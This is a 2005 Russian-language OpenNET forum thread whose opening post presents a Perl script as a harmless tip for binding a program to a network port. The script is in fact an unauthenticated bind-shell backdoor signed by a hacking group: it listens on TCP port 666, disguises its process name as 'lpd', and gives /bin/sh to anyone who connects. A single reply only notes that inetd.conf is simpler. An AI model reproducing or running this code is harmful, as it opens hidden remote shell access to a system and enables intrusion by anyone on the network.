The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  ВХОД  слежка  RSS
"Раздел полезных советов: Пример perl скрипта для привязки пр..."
Вариант для распечатки Архивированная нить - только для чтения! 
Пред. тема | След. тема 
Форумы Разговоры, обсуждение новостей (Public)
Изначальное сообщение [Проследить за развитием треда]

"Раздел полезных советов: Пример perl скрипта для привязки пр..."
Сообщение от auto_tips on 29-Дек-05, 04:52 
Скрипт демонстрирует организацию серверного приложения с
перенаправдением запросов к определенной программе.

#!/usr/bin/perl

#Y! Underground Group
#code by:Y4Ho
#We Are :Y4Ho0-Iranvertex-MrPorT-S.s-LordSatan-SirSisili
#Email:info@emperorteam.com
#Email:y4ho0_emperor@yahoo.com
#Homepage:www.emperorteam.com
#tnxto:C0llect0r-Sasan-Shabgard-simorgh.Ev-IHS
#Ex: ./Y!.pl

use Socket;

$port   = 666;
$proto  = getprotobyname('tcp');
$cmd    = "lpd";
$system = '/bin/sh';

$0 = $cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto)
                                        or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
                                        or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
                                        or die "bind: $!";
listen(SERVER, SOMAXCONN)               or die "listen: $!";

for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
        open(STDIN, ">&CLIENT");
        open(STDOUT, ">&CLIENT");
        open(STDERR, ">&CLIENT");

        system($system);

        close(STDIN);
        close(STDOUT);
        close(STDERR);
}

#EoF


URL: http://www.opennet.me/base/linux/1134149886_1100.txt.html
Обсуждается: http://www.opennet.me/tips/info/939.shtml

Cообщить модератору | Наверх | ^

 Оглавление

Сообщения по теме [Сортировка по времени, UBB]


1. "Пример perl скрипта для привязки программы к сетевому порту"
Сообщение от simple email on 29-Дек-05, 04:52 
А vi /etc/inetd.conf сложнее?
Cообщить модератору | Наверх | ^

Удалить

Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру